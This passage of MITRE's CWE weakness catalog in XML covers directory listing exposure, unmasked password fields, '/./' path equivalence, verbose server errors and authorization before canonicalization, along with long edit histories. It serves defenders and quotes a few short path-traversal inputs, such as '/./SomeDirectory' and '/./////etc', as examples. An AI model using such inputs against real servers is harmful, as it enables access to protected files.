               <Modification_Comment>updated Description, Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Type</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Security-relevant Constants</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="548" Name="Exposure of Information Through Directory Listing" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.</Description>
         <Extended_Description>A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="497" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>System Configuration</Phase>
               <Description>Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>16</Entry_ID>
               <Entry_Name>Directory Indexing</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Directory Listing</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Directory Listing</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="549" Name="Missing Password Field Masking" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="522" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Requirements</Phase>
               <Description>Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="55" Name="Path Equivalence: '/./' (Single Dot Directory)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of single dot directory exploit ('/./') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0004</Reference>
               <Description>Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0004</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0304</Reference>
               <Description>Server allows remote attackers to read password-protected files via a /./ in the HTTP request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0304</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>BID:6042</Reference>
               <Description>Input Validation error</Description>
               <Link>http://www.securityfocus.com/bid/6042</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1083</Reference>
               <Description>Possibly (could be a cleansing error)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1083</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0815</Reference>
               <Description>"/./////etc" cleansed to ".///etc" then "/etc"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0815</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0112</Reference>
               <Description>Server allows remote attackers to view password protected files via /./ in the URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0112</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>/./ (single dot directory)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Single Dot Directory - /./</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="550" Name="Server-generated Error Message Containing Sensitive Information" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Certain conditions, such as network failure, will cause a server error message to be displayed.</Description>
         <Extended_Description>While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="209" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>System Configuration</Phase>
               <Description>Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Server Error Message</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Server Error Message</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="551" Name="Incorrect Behavior Order: Authorization Before Parsing and Canonicalization" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.</Description>
         <Extended_Description>For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="863" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="696" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Authentication Before Parsing and Canonicalization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="552" Name="Files or Directories Accessible to External Parties" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product makes files or directories accessible to unauthorized actors, even though they should not be.</Description>
	 <Extended_Description>
	   <xhtml:p>Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users.  Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any.  Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.</xhtml:p>
	   <xhtml:p>In cloud technologies and containers, this weakness might present itself in the form of misconfigured storage accounts that can be read or written by a public or anonymous user.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1003" Ordinal="Primary"/>
